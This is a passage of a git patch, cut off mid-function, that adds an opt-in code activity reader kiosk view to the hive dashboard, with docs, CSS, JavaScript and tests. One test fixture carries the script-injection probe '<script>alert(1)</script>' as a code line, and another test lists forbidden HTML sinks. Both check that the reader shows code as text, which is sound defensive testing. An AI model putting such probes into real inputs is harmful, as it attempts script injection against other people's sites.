src/pkg/dashboard/reader_ui_test.go | 221 ++++++++++++++ src/pkg/dashboard/static-src/css/reader.css | 25 ++ src/pkg/dashboard/static-src/css/tracker.css | 2 +- src/pkg/dashboard/static-src/html/faq.html | 2 +- src/pkg/dashboard/static-src/html/topbar.html | 1 + src/pkg/dashboard/static-src/js/boot.js | 6 + src/pkg/dashboard/static-src/js/reader.js | 231 +++++++++++++++ src/pkg/dashboard/static-src/js/refresh.js | 2 + .../dashboard/static-src/js/sse-bootstrap.js | 1 + src/pkg/dashboard/static-src/manifest.txt | 2 + src/pkg/dashboard/static/index.html | 270 +++++++++++++++++- 15 files changed, 801 insertions(+), 5 deletions(-) create mode 100644 changelog.d/added-16475-code-activity-reader.md create mode 100644 changelog.d/fixed-tracker-mobile-chevron-height.md create mode 100644 src/pkg/dashboard/reader_ui_test.go create mode 100644 src/pkg/dashboard/static-src/css/reader.css create mode 100644 src/pkg/dashboard/static-src/js/reader.js diff --git a/changelog.d/added-16475-code-activity-reader.md b/changelog.d/added-16475-code-activity-reader.md new file mode 100644 index 0000000000..bd965eb20d --- /dev/null +++ b/changelog.d/added-16475-code-activity-reader.md @@ -0,0 +1 @@ +- Add an opt-in code activity reader at `?kiosk=1&view=reader`. It shows pushed changes from `/api/matrix/lines` as readable, wrapping paragraph cards with green `+` additions and red `βˆ’` removals, with the repository, PR link, file, stage and observed time. It supports pause with P, Space or the button, pauses while you scroll, uses a static layout for reduced motion and stops in hidden tabs. The Matrix view is unchanged (#16475). diff --git a/changelog.d/fixed-tracker-mobile-chevron-height.md b/changelog.d/fixed-tracker-mobile-chevron-height.md new file mode 100644 index 0000000000..7aa1273c89 --- /dev/null +++ b/changelog.d/fixed-tracker-mobile-chevron-height.md @@ -0,0 +1 @@ +- Keep Activity tracker chevrons compact on mobile while preserving their caption and icon alignment. diff --git a/src/docs/dashboard.md b/src/docs/dashboard.md index 83dff09b74..25a8e220da 100644 --- a/src/docs/dashboard.md +++ b/src/docs/dashboard.md @@ -604,6 +604,45 @@ The **Hive activity monitor** section (sidebar, Dashboard group; expanded by def The endpoint returns `stages` (the stage table with `short`, `branch_from`, configured dwell and `falls_to` β€” the lower same-kind stages a move to which is a regression per the stage engine, so the event line says "fell back to" only for those; 015 β†’ 010 triage accepted, 085 β†’ 080 decision made and 072 β†’ 070 author resuming read "moved to"), `items` (one per open issue/PR represented by the status snapshot, including actionable and held items plus display-only non-actionable issues, drafts, and exempt PRs: `labels`, `created_at`, `updated_at`, `bucket`, `bucket_reason`, stage, `stage_since`, humanised `reason`/`caption`, `actor`, `modifiers`, `author_kind` + `author_kind_source` (`label`, `inferred`, or `registry` β€” the author has a contributor-hub profile on this hive, so their clanker pushed it; the row icon, tooltip and claimant all read this one value), `lane`, `tier`, `linked_pr`, `linked_prs` (number, title, url, author, author kind, stage, `stage_since`, `caption` and `modifiers` of each open covering PR β€” enough to draw the nested sub-row without a second lookup), `nested_under` (on a PR: the issue it is listed under), nudge info and the last eight `history` hops from the stage store) and `author_kind_labels`. It answers `{"status":"initializing"}` until the first scan. +## Code activity reader + +The code activity reader is a kiosk view at `?kiosk=1&view=reader` that shows +pushed changes as readable paragraphs. It is the planned successor to the +Matrix code view ([#16137](https://github.com/hivecommons/hive/issues/16137)). +Until the cutover, both views are available. The reader uses the same opt-in +setting and authorized `GET /api/matrix/lines` endpoint as Matrix, so it has +the same `dashboard.matrix` repository allowlist, author restriction and +scrub/path filters. When `dashboard.matrix.enabled` is set, the header shows a +**Reader** tab next to **Matrix**. Without that setting, the endpoint answers +404 and the view says it is not enabled. The reader adds no permission and no +anonymous access. + +- **Cards.** Consecutive lines from one file at one PR head form one card, + which shows that contiguous changed region in order. Indentation, blank lines + and repeated lines are kept. Added lines start with a green `+` and + removed lines (`op: "-"`) with a red `βˆ’`. Long lines wrap at a fixed font size and + are never truncated. Every card shows the repository + and PR number, the file, the source stage (`pushed`), and when hive + observed the change. The repository links to the pull request, using the source's + `pr_url` when it is an https URL and otherwise the derived GitHub link. Code is + always shown as text and is never parsed as HTML. +- **Pacing.** One card is read at a time. A card stays in focus for a few + seconds plus a little more for each line, up to 30 seconds, and then the + next card scrolls into view. New work waits behind the paragraph being read. + When the reader is caught up, it holds quietly. It has no replay, filler, + typing effect or sound. +- **Pause.** Press **P**, press **Space**, or use the **Pause** button to pause + or resume. Scrolling with the wheel, touch, arrow keys, Page Up/Page Down, + Home or End also pauses the reader so you can inspect the text. The feed is + native, scrollable text. +- **Motion.** With `prefers-reduced-motion`, every card is shown at once and + nothing scrolls by itself. In a hidden tab, the reader stops advancing until + the tab is visible again. + +The feed currently carries pushed added lines, as shown in Matrix. Removal lines +and whole published-checkpoint regions come from the published-checkpoint +source ([#16476](https://github.com/hivecommons/hive/issues/16476)). + ## PR review and link signals PR pills also carry GitHub's own review state and conversation evidence diff --git a/src/docs/streaming-the-activity-monitor.md b/src/docs/streaming-the-activity-monitor.md index 41272618ab..4d4b9e2835 100644 --- a/src/docs/streaming-the-activity-monitor.md +++ b/src/docs/streaming-the-activity-monitor.md @@ -296,7 +296,7 @@ full-screen Activity Monitor. ## Matrix mode (separate channel) -When `dashboard.matrix.enabled` is set, the Activity Monitor header also shows a **Matrix** tab that opens `?kiosk=1&view=matrix` in the same window. +When `dashboard.matrix.enabled` is set, the Activity Monitor header also shows a **Matrix** tab that opens `?kiosk=1&view=matrix` in the same window. It also shows a **Reader** tab that opens the [code activity reader](dashboard.md#code-activity-reader) at `?kiosk=1&view=reader`. The reader uses the same lines, shown as readable paragraphs. Matrix is an experimental, default-off code display for a separate channel, [`twitch.tv/hivecommonsmatrix`](https://www.twitch.tv/hivecommonsmatrix). diff --git a/src/pkg/dashboard/reader_ui_test.go b/src/pkg/dashboard/reader_ui_test.go new file mode 100644 index 0000000000..88b566c977 --- /dev/null +++ b/src/pkg/dashboard/reader_ui_test.go @@ -0,0 +1,221 @@ +package dashboard + +import ( + "os" + "os/exec" + "strings" + "testing" +) + +func TestReaderUIWiring(t *testing.T) { + html := indexHTML(t) + read := func(name string) string { + t.Helper() + b, err := os.ReadFile("static-src/" + name) + if err != nil { + t.Fatal(err) + } + return string(b) + } + js := read("js/reader.js") + for _, forbidden := range []string{"innerHTML", "outerHTML", "insertAdjacentHTML", "document.write", "new EventSource", "Math.random", "AudioContext", "new Audio"} { + if strings.Contains(js, forbidden) { + t.Errorf("reader.js contains forbidden sink/effect %q", forbidden) + } + } + for _, want := range []string{"visibilitychange", "prefers-reduced-motion: reduce", "'/api/matrix/lines?since='", "source.addEventListener('code-lines'", "'wheel'", "'touchstart'"} { + if !strings.Contains(js, want) { + t.Errorf("reader.js missing %q", want) + } + } + for _, want := range []string{"window.HIVE_READER = kiosk && view === 'reader';", "document.body.classList.add('reader-mode');", "hiveReaderStart();", "if (window.HIVE_READER) window.hiveReaderAttach(source);", `id="oc-reader-tab" href="?kiosk=1&view=reader"`, "getElementById('oc-reader-tab')"} { + if !strings.Contains(html, want) { + t.Errorf("generated page missing %q", want) + } + } + // The Matrix entry point stays until the cutover (#16477). + if !strings.Contains(html, `id="oc-matrix-tab"`) || !strings.Contains(html, "window.HIVE_MATRIX = kiosk && view === 'matrix';") { + t.Error("generated page lost the Matrix entry point") + } + start := strings.Index(html, `id="oc-reader-tab"`) + open := html[strings.LastIndex(html[:start], "<a "):] + open = open[:strings.Index(open, ">")] + if !strings.Contains(open, " hidden") { + t.Errorf("reader header tab %q must be hidden until the status payload enables it", open) + } + css := read("css/reader.css") + // Long text wraps at a fixed size and the feed scrolls natively. + for _, want := range []string{"white-space: pre-wrap; overflow-wrap: anywhere;", "body.reader-mode .reader-scroll { flex: 1 1 auto; min-height: 0; overflow-y: auto;", "font: 20px/1.5 monospace;"} { + if !strings.Contains(css, want) { + t.Errorf("reader.css missing %q", want) + } + } + for _, forbidden := range []string{"text-overflow", "vw;", "line-clamp", "nowrap"} { + if strings.Contains(css, forbidden) { + t.Errorf("reader.css must not shrink or truncate text (%q)", forbidden) + } + } + for _, rule := range strings.Split(css, "}") { + selector, _, ok := strings.Cut(strings.TrimSpace(rule), "{") + if !ok { + continue + } + for _, part := range strings.Split(selector, ",") { + if !strings.HasPrefix(strings.TrimSpace(part), "body.reader-mode ") { + t.Errorf("unscoped reader selector %q", part) + } + } + } + manifest := read("manifest.txt") + for _, file := range []string{"js/reader.js", "css/reader.css"} { + if !strings.Contains(manifest, file+"\n") { + t.Errorf("manifest missing %s", file) + } + if !strings.Contains(html, read(file)) { + t.Errorf("generated page is missing current %s", file) + } + } +} + +// Exercise rendering, pacing, pause and reduced motion with deterministic +// DOM/clock doubles; no browser, network or real timers required. +func TestReaderUIBehavior(t *testing.T) { + node, err := exec.LookPath("node") + if err != nil { + t.Skip("node unavailable") + } + cmd := exec.Command(node, "-e", readerBrowserTest) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("reader browser behavior: %v\n%s", err, out) + } +} + +const readerBrowserTest = ` +const assert = require('assert'); +const fs = require('fs'); +const vm = require('vm'); +const reader = fs.readFileSync('static-src/js/reader.js', 'utf8'); +const boot = fs.readFileSync('static-src/js/boot.js', 'utf8').split('})();')[0] + '})();'; +const at = '2026-11-03T12:00:00Z'; +const first = [ + {seq: 1, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '<script>alert(1)</script>', at}, + {seq: 2, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '', at}, + {seq: 3, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '\tx := 1', at}, + {seq: 4, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: '\tx := 1', at}, + {seq: 5, repo: 'org/repo', pr: 2, head: 'abc', path: 'main.go', line: ' old()', op: '-', at}, + {seq: 6, repo: 'org/other', pr: 7, head: 'def', path: 'README.md', line: 'a very long line '.repeat(40), pr_url: 'https://example.test/review/7', at}, +]; +async function scenario(query, opts = {}) { + const docEvents = {}, timers = new Map(), requests = [], scrolls = [], sse = {}; + // page caps each response like the server does; seq always reports the newest line held. + let id = 0, status = opts.status || 200, seq = 6, lines = first, page = opts.page || Infinity; + const elements = []; + function el(tag) { const e = {tagName: tag.toUpperCase(), children: [], listeners: {}, attrs: {}, className: '', + textContent: '', hidden: false, scrollTop: 0, offsetHeight: 10, classList: {add(){}}, + setAttribute(k, v){this.attrs[k] = v}, append(...a){this.children.push(...a)}, appendChild(a){this.children.push(a); return a}, + removeChild(a){this.children.splice(this.children.indexOf(a), 1)}, replaceChildren(...a){this.children = a}, + addEventListener(n, fn){this.listeners[n] = fn}, scrollIntoView(o){scrolls.push(o)}}; + elements.push(e); return e; } + const doc = {body: el('body'), hidden: false, createElement: el, + getElementById(id){return elements.find(e => e.id === id)}, + addEventListener(n, fn){(docEvents[n] ||= []).push(fn)}}; + const motion = {matches: !!opts.reduced, addEventListener(n, fn){this.change = fn}}; + const win = {location: {href: 'https://hive.test/' + query}, matchMedia(){return motion}, addEventListener(){}}; + const c = vm.createContext({window: win, document: doc, URL, location: {hash: ''}, history: {replaceState(){}}, + localStorage: {getItem(){return null}, setItem(){}}, + requestAnimationFrame(){throw new Error('reader must not animate frames')}, + setTimeout(fn){timers.set(++id, fn); return id}, clearTimeout(i){timers.delete(i)}, setInterval(){}, dashboardSetInterval(){}, + fetch(url){requests.push(url); const body = {seq, source: 'pushed-lines', lines: lines.slice(0, page)}; lines = lines.slice(page); + return Promise.resolve({status, ok: status === 200, json(){return Promise.resolve(body)}})}, + Date, Math}); + vm.runInContext(reader, c); c.hiveReaderStart = win.hiveReaderStart; + vm.runInContext(boot, c); + for (const fn of docEvents.DOMContentLoaded || []) fn(); + const flush = async () => {for (let i = 0; i < 12; i++) await Promise.resolve()}; + await flush(); + if (!win.HIVE_READER) {assert.equal(requests.length, 0); assert(!doc.getElementById('hive-reader')); return;} + const byClass = n => elements.find(e => e.className === n); + const feed = byClass('reader-feed'), statusEl = byClass('reader-status'), button = byClass('reader-pause'); + const fire = () => {assert.equal(timers.size, 1); const [k, fn] = [...timers][0]; timers.delete(k); fn()}; + const key = (key, code) => docEvents.keydown[0]({key, code, target: doc.body, preventDefault(){}}); + assert.equal(requests[0], '/api/matrix/lines?since=0'); + if (status !== 200) { + assert.equal(feed.children.length, 0); assert.equal(timers.size, 0); + assert(statusEl.textContent.includes(status === 404 ? 'not enabled' : 'Sign in')); + return; + } + const meta = card => card.children[0].children, rows = card => card.children[1].children.map(r => r.textContent); + const checkFirst = card => { + // One contiguous region: blank, indented and repeated lines kept as text. + assert.deepEqual(rows(card), ['+ <script>alert(1)</script>\n', '+ \n', '+ \tx := 1\n', '+ \tx := 1\n', '\u2212 old()\n']); + assert.equal(card.children[1].tagName, 'PRE'); + assert.deepEqual(card.children[1].children.map(r => r.className), ['reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-add', 'reader-line reader-del']); + const [repo, file, stage, time] = meta(card); + assert.equal(repo.tagName, 'A'); assert.equal(repo.textContent, 'org/repo #2'); + assert.equal(repo.href, 'https://github.com/org/repo/pull/2'); assert.equal(repo.attrs.rel, 'noopener noreferrer'); + assert.equal(file.textContent, 'main.go'); assert.equal(stage.textContent, 'pushed'); + assert.equal(time.tagName, 'TIME'); assert.equal(time.attrs.datetime, '2026-11-03T12:00:00.000Z'); + assert(time.textContent.startsWith('observed ')); + }; + const checkSecond = card => { + assert.equal(meta(card)[0].href, 'https://example.test/review/7'); + assert.equal(meta(card)[1].textContent, 'README.md'); + assert.equal(rows(card)[0], '+ ' + 'a very long line '.repeat(40) + '\n'); + }; + win.hiveReaderAttach({addEventListener(n, fn){sse[n] = fn}}); + if (opts.page) { + // A capped page resumes from the last returned line, not the newest seq, + // so no line is skipped and the region stays one contiguous card. + await flush(); + assert.deepEqual(requests, ['/api/matrix/lines?since=0', '/api/matrix/lines?since=2', '/api/matrix/lines?since=4']); + assert.equal(feed.children.length, 2); checkFirst(feed.children[0]); checkSecond(feed.children[1]); + return; + } + if (opts.reduced) { + // Static and scrollable: everything shown at once, nothing scheduled or scrolled. + assert.equal(feed.children.length, 2); assert.equal(timers.size, 0); assert.equal(scrolls.length, 0); + checkFirst(feed.children[0]); checkSecond(feed.children[1]); + lines = [{seq: 7, repo: 'org/repo', pr: 2, head: 'abc', path: 'b.go', line: 'next', at}]; seq = 7; + sse['code-lines'](); await flush(); + assert.equal(feed.children.length, 3); assert.equal(timers.size, 0); assert.equal(scrolls.length, 0); + return; + } + // The first paragraph is shown; the next waits for it to be read. + assert.equal(feed.children.length, 1); checkFirst(feed.children[0]); + assert.equal(timers.size, 1); assert.equal(scrolls.at(-1).behavior, 'smooth'); + assert(statusEl.textContent.includes('1 change waiting')); + // Incoming work queues behind the paragraph being read. + lines = [{seq: 7, repo: 'org/repo', pr: 2, head: 'abc', path: 'b.go', line: 'next', at}]; seq = 7; + sse['code-lines'](); await flush(); + assert.equal(requests.at(-1), '/api/matrix/lines?since=6'); + assert.equal(feed.children.length, 1); assert.equal(timers.size, 1); + // P pauses and resumes; the button mirrors it. + key('p'); assert.equal(timers.size, 0); assert.equal(button.textContent, 'Resume'); + assert.equal(button.attrs['aria-pressed'], 'true'); assert(statusEl.textContent.startsWith('paused')); + key(' ', 'Space'); assert.equal(timers.size, 1); assert.equal(button.textContent, 'Pause'); + fire(); assert.equal(feed.children.length, 2); checkSecond(feed.children[1]); + // Wheel, touch and navigation keys pause for inspection; the button resumes. + byClass('reader-scroll').listeners.wheel(); assert.equal(timers.size, 0); assert.equal(button.textContent, 'Resume'); + button.listeners.click(); assert.equal(timers.size, 1); + byClass('reader-scroll').listeners.touchstart(); assert.equal(timers.size, 0); + button.listeners.click(); key('PageDown'); assert.equal(timers.size, 0); + button.listeners.click(); assert.equal(timers.size, 1); + // A hidden tab stops all motion. + doc.hidden = true; docEvents.visibilitychange.forEach(fn => fn()); assert.equal(timers.size, 0); + doc.hidden = false; docEvents.visibilitychange.forEach(fn => fn()); await flush(); + fire(); assert.equal(feed.children.length, 3); assert.equal(rows(feed.children[2])[0], '+ next\n'); + // Caught up: a quiet hold with no replay or filler. + fire(); assert.equal(timers.size, 0); assert.equal(feed.children.length, 3); + assert(statusEl.textContent.includes('Caught up')); + sse['code-lines'](); await flush(); assert.equal(timers.size, 0); assert.equal(feed.children.length, 3); + status = 403; sse['code-lines'](); await flush(); + assert.equal(feed.children.length, 0); assert(statusEl.textContent.includes('Sign in')); +} +(async () => { + await scenario(''); await scenario('?view=reader'); await scenario('?kiosk=1'); await scenario('?kiosk=1&view=matrix'); + await scenario('?kiosk=1&view=reader'); + await scenario('?kiosk=1&view=reader', {reduced: true}); + await scenario('?kiosk=1&view=reader', {reduced: true, page: 2}); + for (const status of [404, 401, 403]) await scenario('?kiosk=1&view=reader', {status}); +})().catch(e => {console.error(e); process.exit(1)}); +` diff --git a/src/pkg/dashboard/static-src/css/reader.css b/src/pkg/dashboard/static-src/css/reader.css new file mode 100644 index 0000000000..9f3a4398ca --- /dev/null +++ b/src/pkg/dashboard/static-src/css/reader.css @@ -0,0 +1,25 @@ +body.reader-mode #hive-dashboard-root { display: none !important; } +body.reader-mode #hive-reader { + --reader-bg: #0b0f0c; + --reader-surface: #121a14; + --reader-text: #e8f5eb; + --reader-muted: #b8ccbb; + --reader-add: #7ee2a0; + --reader-del: #ff8f8f; + --reader-tail: 10rem; + position: fixed; inset: 0; z-index: 100000; display: flex; flex-direction: column; + background: var(--reader-bg); color: var(--reader-text); font: 20px/1.5 monospace; +} +body.reader-mode .reader-bar { display: flex; flex-wrap: wrap; align-items: center; gap: var(--sp-3) var(--sp-5); padding: var(--sp-3) var(--sp-5); color: var(--reader-muted); font-size: var(--fs-touch); overflow-wrap: anywhere; } +body.reader-mode .reader-status { flex: 1 1 auto; color: var(--reader-text); } +body.reader-mode .reader-pause { font: inherit; color: var(--reader-text); background: var(--reader-surface); border: 1px solid var(--reader-muted); border-radius: var(--radius-sm); padding: var(--sp-2) var(--sp-6); cursor: pointer; } +body.reader-mode .reader-scroll { flex: 1 1 auto; min-height: 0; overflow-y: auto; overscroll-behavior: contain; padding: var(--sp-0) var(--sp-5) var(--reader-tail); } +body.reader-mode .reader-card { max-width: 80rem; margin: 0 auto 1.5rem; padding: var(--sp-3) var(--sp-5); background: var(--reader-surface); border-radius: var(--radius); } +body.reader-mode .reader-meta { display: flex; flex-wrap: wrap; gap: .25rem 1.25rem; color: var(--reader-muted); font-size: var(--fs-touch); overflow-wrap: anywhere; } +body.reader-mode .reader-repo { color: var(--reader-text); font-weight: 600; } +body.reader-mode a.reader-repo { text-decoration: underline; } +body.reader-mode .reader-diff { margin: .5rem 0 0; font: inherit; white-space: pre-wrap; overflow-wrap: anywhere; } +body.reader-mode .reader-add { color: var(--reader-add); } +body.reader-mode .reader-del { color: var(--reader-del); } +body.reader-mode #hive-reader [hidden] { display: none !important; } +body.reader-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index edc493b6fb..84f4e682bf 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -445,7 +445,7 @@ line is centred under the first rather than ragged-left. */ .ham-chevron-copy { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-height: calc(var(--ham-chevron-text-lines) * var(--ham-chevron-line-height) * 1em); flex: 0 1 auto; min-width: 0; overflow: hidden; white-space: normal; overflow-wrap: anywhere; text-align: center; } .ham-chevron-copy :is(.ham-seg-t, .ham-detour, .ham-holder, .ham-gate-detail) { display: inline; white-space: normal; overflow-wrap: anywhere; } - .ham-chevron-copy > .ham-decision-trigger { display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } + .ham-chevron-copy > .ham-decision-trigger { min-height: 0; display: -webkit-box; -webkit-box-orient: vertical; -webkit-line-clamp: var(--ham-chevron-text-lines); line-clamp: var(--ham-chevron-text-lines); max-width: 100%; overflow: hidden; white-space: normal; overflow-wrap: anywhere; } .config-tooltip.ham-chevron-tip { overflow-wrap: anywhere; max-width: calc(100vw - var(--sp-8)); max-height: calc(100vh - var(--sp-8)); overflow-y: auto; pointer-events: auto; } @keyframes ham-pulse { 0%, 100% { opacity: 0; } 50% { opacity: 0.3; } } /* ---- tracker-cues: the Activity Monitor's shared cue vocabulary ------ diff --git a/src/pkg/dashboard/static-src/html/faq.html b/src/pkg/dashboard/static-src/html/faq.html index 9586cb3fba..6075f22dea 100644 --- a/src/pkg/dashboard/static-src/html/faq.html +++ b/src/pkg/dashboard/static-src/html/faq.html @@ -267,7 +267,7 @@ <h3 class="faq-group-title">Where to get help</h3> </div><!-- /#hive-dashboard-root --> <!-- Kiosk call-to-action badge (#16236). The server replaces this comment with pkg/webassets/kioskcta markup at start-up; it sits outside - #hive-dashboard-root because the Matrix view hides the root. Visible + #hive-dashboard-root because the Matrix and reader views hide the root. Visible only with body.kiosk-cta-on (kiosk=1 and not cta=off, see js/boot.js). --> <!-- hive-kiosk-cta --> diff --git a/src/pkg/dashboard/static-src/html/topbar.html b/src/pkg/dashboard/static-src/html/topbar.html index 2b07aaeb9d..8cbee4a4dd 100644 --- a/src/pkg/dashboard/static-src/html/topbar.html +++ b/src/pkg/dashboard/static-src/html/topbar.html @@ -26,6 +26,7 @@ <button type="button" class="nav-chip nav-chip--icon nav-chip--action feedback-bug-btn" id="feedback-bug-btn" data-action="openFeedbackModal" data-arg0="submit" title="Report a bug or request a feature" aria-label="Report a bug or request a feature"><span class="nav-chip__icon" aria-hidden="true">πŸ›</span><span class="feedback-pill" id="feedback-unread-pill" hidden>0</span></button> <button class="nav-chip nav-chip--icon nav-chip--action layout-toggle" data-action="toggleLayout" title="Switch to Dark Mode" aria-label="Switch to Dark Mode">☾</button> <a class="nav-chip nav-chip--action" id="oc-matrix-tab" href="?kiosk=1&view=matrix" title="Matrix display β€” opt-in code rain" aria-label="Matrix display" hidden><span class="nav-chip__label">Matrix</span></a> + <a class="nav-chip nav-chip--action" id="oc-reader-tab" href="?kiosk=1&view=reader" title="Code activity reader β€” pushed changes as readable paragraphs" aria-label="Code activity reader" hidden><span class="nav-chip__label">Reader</span></a> <button type="button" class="nav-chip nav-chip--action" id="oc-settings-btn" data-action="openConfigDialog" data-arg0="governor" title="Settings β€” governor, agents, thresholds, and all hive settings" aria-label="Settings"><span class="nav-chip__icon" aria-hidden="true">βš™</span><span class="nav-chip__label">Settings</span></button> <span id="dashboard-custom-style-note" class="nav-chip nav-chip--status nav-chip--neutral dashboard-custom-style-note" style="display:none" role="status"></span> <!-- Agent Logs hidden (redundant with per-agent output) --> diff --git a/src/pkg/dashboard/static-src/js/boot.js b/src/pkg/dashboard/static-src/js/boot.js index c73bd07343..4a07d91459 100644 --- a/src/pkg/dashboard/static-src/js/boot.js +++ b/src/pkg/dashboard/static-src/js/boot.js @@ -41,6 +41,12 @@ document.body.classList.add('matrix-mode'); document.addEventListener('DOMContentLoaded', function(){ typeof hiveMatrixStart === 'function' && hiveMatrixStart(); }); } + // Code activity reader (#16475): same opt-in data as Matrix, read as paragraphs. + window.HIVE_READER = kiosk && view === 'reader'; + if(window.HIVE_READER){ + document.body.classList.add('reader-mode'); + document.addEventListener('DOMContentLoaded', function(){ typeof hiveReaderStart === 'function' && hiveReaderStart(); }); + } window.HIVE_KIOSK=kiosk; window.HIVE_POPOUT=popout&&!kiosk; window.HIVE_DISPLAY=display&&!kiosk; diff --git a/src/pkg/dashboard/static-src/js/reader.js b/src/pkg/dashboard/static-src/js/reader.js new file mode 100644 index 0000000000..5a3130d774 --- /dev/null +++ b/src/pkg/dashboard/static-src/js/reader.js @@ -0,0 +1,231 @@ +// Code activity reader (#16475): changed regions as readable paragraphs on +// the kiosk. Opt-in like Matrix and fed by the same authorized pull endpoint +// (the shared SSE stream only nudges). Code is always set with textContent. +(function(){ + 'use strict'; + var pull = function(){}; + window.hiveReaderAttach = function(source){ + if (!window.HIVE_READER) return; + source.addEventListener('code-lines', function(){ pull(); }); + source.addEventListener('open', function(){ pull(); }); + }; + window.hiveReaderStart = function(){ + if (!window.HIVE_READER || document.getElementById('hive-reader')) return; + // Cards kept on screen, regions waiting to be read, and how long one + // paragraph stays in focus before the next arrives. + var MAX_CARDS = 60, MAX_PENDING = 40, BASE_DWELL = 5000, LINE_DWELL = 600, MAX_DWELL = 30000; + var NAV_KEYS = ['ArrowUp', 'ArrowDown', 'PageUp', 'PageDown', 'Home', 'End']; + var STAGES = {'pushed-lines': 'pushed'}; + var root = document.createElement('main'); + root.id = 'hive-reader'; + root.setAttribute('aria-label', 'Code activity reader'); + document.body.appendChild(root); + function element(tag, className, text, parent){ + var el = document.createElement(tag); + el.className = className; + if (text) el.textContent = text; + (parent || root).appendChild(el); + return el; + } + var bar = element('div', 'reader-bar'); + element('span', 'reader-source', 'Source: changes pushed by hive Β· public allowlisted repos', bar); + var status = element('span', 'reader-status', 'Waiting for pushed changes…', bar); + status.setAttribute('role', 'status'); + var button = element('button', 'reader-pause', 'Pause', bar); + button.setAttribute('type', 'button'); + button.setAttribute('aria-pressed', 'false'); + button.setAttribute('title', 'Pause or resume (P / Space)'); + var scroller = element('div', 'reader-scroll'); + scroller.setAttribute('tabindex', '0'); + var feed = element('div', 'reader-feed', '', scroller); + var motion = window.matchMedia('(prefers-reduced-motion: reduce)'); + var pending = [], current = null, readUntil = 0, timer = 0, lastSeq = 0; + var enabled = false, manualPause = false, loading = false, again = false, problem = ''; + function paused(){ return manualPause || document.hidden; } + function regionKey(line){ return [line.repo, line.pr, line.head || '', line.path].join('\u0000'); } + // Consecutive lines of one file at one head form one contiguous region; + // a gap in seq (a dropped line or another file) starts a new one. Only + // unread regions grow, so a paragraph on screen never changes. + function group(lines, stage){ + lines.forEach(function(line){ + var last = pending[pending.length - 1], seq = Number(line.seq) || 0; + if (last && last.key === regionKey(line) && seq && seq === last.lastSeq + 1) { + last.lines.push(line); last.lastSeq = seq; last.at = line.at; + return; + } + pending.push({key: regionKey(line), repo: line.repo, pr: Number(line.pr) || 0, path: line.path, + stage: stage, prUrl: line.pr_url, lines: [line], lastSeq: seq, at: line.at}); + }); + if (pending.length > MAX_PENDING) pending = pending.slice(-MAX_PENDING); + } + // Prefer an https pr_url from the source; otherwise derive the link from repo and PR number. + function prLink(region){ + if (typeof region.prUrl === 'string' && /^https:\/\/[^\s<>"']+$/.test(region.prUrl)) return region.prUrl; + if (/^[\w.-]+\/[\w.-]+$/.test(region.repo || '') && region.pr > 0) { + return 'https://github.com/' + region.repo + '/pull/' + region.pr; + } + return ''; + } + function observed(at){ + var ms = Date.parse(at); + if (!Number.isFinite(ms)) return {iso: '', text: 'observed time unknown'}; + var d = new Date(ms); + // The shared helper honours the dashboard time-zone preference. + var shown = typeof formatDashboardDateTime === 'function' ? formatDashboardDateTime(d) : d.toISOString(); + return {iso: d.toISOString(), text: 'observed ' + shown}; + } + function card(region){ + var article = document.createElement('article'); + article.className = 'reader-card'; + var meta = element('header', 'reader-meta', '', article); + var href = prLink(region); + var repo = element(href ? 'a' : 'span', 'reader-repo', region.repo + (region.pr > 0 ? ' #' + region.pr : ''), meta); + if (href) { + repo.href = href; + repo.setAttribute('target', '_blank'); + repo.setAttribute('rel', 'noopener noreferrer'); + } + element('span', 'reader-file', region.path, meta); + element('span', 'reader-stage', region.stage, meta); + var when = observed(region.at); + var time = element('time', 'reader-time', when.text, meta); + if (when.iso) time.setAttribute('datetime', when.iso); + var diff = element('pre', 'reader-diff', '', article); + region.lines.forEach(function(line){ + var del = line.op === '-'; + var row = element('span', 'reader-line ' + (del ? 'reader-del' : 'reader-add'), '', diff); + row.textContent = (del ? '\u2212' : line.op || '+') + ' ' + line.line + '\n'; + }); + return article; + } + function dwell(region){ return Math.min(MAX_DWELL, BASE_DWELL + region.lines.length * LINE_DWELL); } + // Drop the oldest cards and keep the visible text where it was. + function trim(){ + while (feed.children.length > MAX_CARDS) { + var first = feed.children[0], height = first.offsetHeight || 0; + feed.removeChild(first); + scroller.scrollTop = Math.max(0, (scroller.scrollTop || 0) - height); + } + } + function reveal(region, scroll){ + region.node = card(region); + feed.appendChild(region.node); + trim(); + current = region; + readUntil = Date.now() + dwell(region); + if (scroll && region.node.scrollIntoView) region.node.scrollIntoView({block: 'start', behavior: motion.matches ? 'auto' : 'smooth'}); + } + function updateStatus(){ + var text = problem; + if (!text && enabled) { + if (pending.length) text = pending.length + (pending.length === 1 ? ' change' : ' changes') + ' waiting'; + else text = current ? 'Caught up Β· holding until new changes are pushed' : 'Waiting for pushed changes…'; + } + if (paused()) text = 'paused' + (text ? ' Β· ' + text : ''); + status.textContent = text; + button.textContent = manualPause ? 'Resume' : 'Pause'; + button.setAttribute('aria-pressed', manualPause ? 'true' : 'false'); + } + function stop(){ clearTimeout(timer); timer = 0; } + function advance(){ + timer = 0; + if (!enabled || paused() || motion.matches) return; + // Quiet hold when caught up: no replay, no filler, nothing scheduled. + if (pending.length) { + reveal(pending.shift(), true); + timer = setTimeout(advance, dwell(current)); + } + updateStatus(); + } + // Starts the next reveal once the current paragraph's dwell ends; never + // restarts a running dwell, so incoming work cannot interrupt reading. + function schedule(fresh){ + if (timer || !enabled || paused()) { updateStatus(); return; } + if (motion.matches) { + // Static and scrollable: everything is shown, nothing scrolls by itself. + while (pending.length) reveal(pending.shift(), false); + updateStatus(); + return; + } + if (fresh && current) { + readUntil = Date.now() + 